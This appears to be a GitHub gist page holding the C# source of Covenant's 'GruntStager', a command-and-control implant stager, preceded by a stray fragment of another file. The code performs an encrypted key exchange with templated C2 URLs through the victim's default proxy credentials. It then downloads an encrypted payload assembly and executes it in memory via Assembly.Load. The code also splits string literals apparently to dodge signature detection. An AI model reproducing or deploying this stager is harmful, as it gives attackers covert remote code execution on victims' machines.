return sb.ToString();
}
// {{REPLACE_PROFILE_MESSAGE_TRANSFORM}}
}
}
using System;
using System.Net;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.IO.Pipes;
using System.Reflection;
using System.Collections.Generic;
using System.Security.Cryptography;
namespace GruntStager
{
public class GruntStager
{
public GruntStager()
{
ExecuteStager();
}
[STAThread]
public static void Main(string[] args)
{
new GruntStager();
}
public static void Execute()
{
new GruntStager();
}
public static string GetMessageFormat
{
get
{
var sb = new StringBuilder(@"{{""GUID"":""{0}"",");
sb.Append(@"""Type"":{1},");
sb.Append(@"""Meta"":""{2}"",");
sb.Append(@"""IV"":""{3}"",");
sb.Append(@"""EncryptedMessage"":""{4}"",");
sb.Append(@"""HMAC"":""{5}""}}");
return sb.ToString();
}
}
public void ExecuteStager()
{
try
{
List<string> CovenantURIs = @"{{REPLACE_COVENANT_URIS}}".Split(',').ToList();
string CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}";
List<string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");
Random random = new Random();
string aGUID = @"{{REPLACE_GRUNT_GUID}}";
string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
string MessageFormat = GetMessageFormat;
Aes SetupAESKey = Aes.Create();
SetupAESKey.Mode = CipherMode.CBC;
SetupAESKey.Padding = PaddingMode.PKCS7;
SetupAESKey.Key = SetupKeyBytes;
SetupAESKey.GenerateIV();
HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());
byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
{
bool valid = true;
if (UseCertPinning && CovenantCertHash != "")
{
valid = cert.GetCertHashString() == CovenantCertHash;
}
if (valid && ValidateCert)
{
valid = errors == System.Net.Security.SslPolicyErrors.None;
}
return valid;
};
string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
CookieWebClient wc = null;
string Stage0Response = "";
wc = new CookieWebClient();
wc.UseDefaultCredentials = true;
wc.Proxy = WebRequest.DefaultWebProxy;
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
string CovenantURI = "";
foreach (string uri in CovenantURIs)
{
try
{
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", "")); }
wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
CovenantURI = uri;
}
catch
{
continue;
}
}
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); }
Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
List<string> parsed = Parse(extracted, MessageFormat);
string iv64str = parsed[3];
string message64str = parsed[4];
string hash64str = parsed[5];
byte[] messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SetupAESKey.IV = Convert.FromBase64String(iv64str);
byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true);
Aes SessionKey = Aes.Create();
SessionKey.Mode = CipherMode.CBC;
SessionKey.Padding = PaddingMode.PKCS7;
SessionKey.Key = FullyDecrypted;
SessionKey.GenerateIV();
hmac = new HMACSHA256(SessionKey.Key);
byte[] challenge1 = new byte[4];
RandomNumberGenerator rng = RandomNumberGenerator.Create();
rng.GetBytes(challenge1);
byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
hash = hmac.ComputeHash(EncryptedChallenge1);
string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));
string Stage1Response = "";
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); }
Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
parsed = Parse(extracted, MessageFormat);
iv64str = parsed[3];
message64str = parsed[4];
hash64str = parsed[5];
messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SessionKey.IV = Convert.FromBase64String(iv64str);
byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
byte[] challenge1Test = new byte[4];
byte[] challenge2 = new byte[4];
Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; }
SessionKey.GenerateIV();
byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
hash = hmac.ComputeHash(EncryptedChallenge2);
string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));
string Stage2Response = "";
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); }
Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
parsed = Parse(extracted, MessageFormat);
iv64str = parsed[3];
message64str = parsed[4];
hash64str = parsed[5];
messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SessionKey.IV = Convert.FromBase64String(iv64str);
byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });
}
catch (Exception e) { Console.Error.WriteLine(e.Message); }
}
public class CookieWebClient : WebClient
{
public CookieContainer CookieContainer { get; private set; }
public CookieWebClient()
{
this.CookieContainer = new CookieContainer();
}
protected override WebRequest GetWebRequest(Uri address)
{
var request = base.GetWebRequest(address) as HttpWebRequest;
if (request == null) return base.GetWebRequest(address);
request.CookieContainer = CookieContainer;
return request;
}
}
public static List<string> Parse(string data, string format)
{
format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}");
string name0, name1, name2, name3, name4, name5;
name0 = "(?'g" + "ro" + "up" + "0'.*)";
name1 = "(?'g" + "ro" + "up" + "1'.*)";
name2 = "(?'g" + "ro" + "up" + "2'.*)";
name3 = "(?'g" + "ro" + "up" + "3'.*)";
name4 = "(?'g" + "ro" + "up" + "4'.*)";
name5 = "(?'g" + "ro" + "up" + "5'.*)";
if (format.Contains("{0}")) { format = format.Replace("{0}", name0); }
if (format.Contains("{1}")) { format = format.Replace("{1}", name1); }
if (format.Contains("{2}")) { format = format.Replace("{2}", name2); }
if (format.Contains("{3}")) { format = format.Replace("{3}", name3); }
if (format.Contains("{4}")) { format = format.Replace("{4}", name4); }
if (format.Contains("{5}")) { format = format.Replace("{5}", name5); }
Match match = new Regex(format).Match(data);
List<string> matches = new List<string>();
if (match.Groups["g"+"ro"+"up"+"0"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"0"].Value); }
if (match.Groups["g"+"ro"+"up"+"1"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"1"].Value); }
if (match.Groups["g"+"ro"+"up"+"2"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"2"].Value); }
if (match.Groups["g"+"ro"+"up"+"3"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"3"].Value); }
if (match.Groups["g"+"ro"+"up"+"4"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"4"].Value); }
if (match.Groups["g"+"ro"+"up"+"5"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"5"].Value); }
return matches;
}
// {{REPLACE_PROFILE_MESSAGE_TRANSFORM}}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment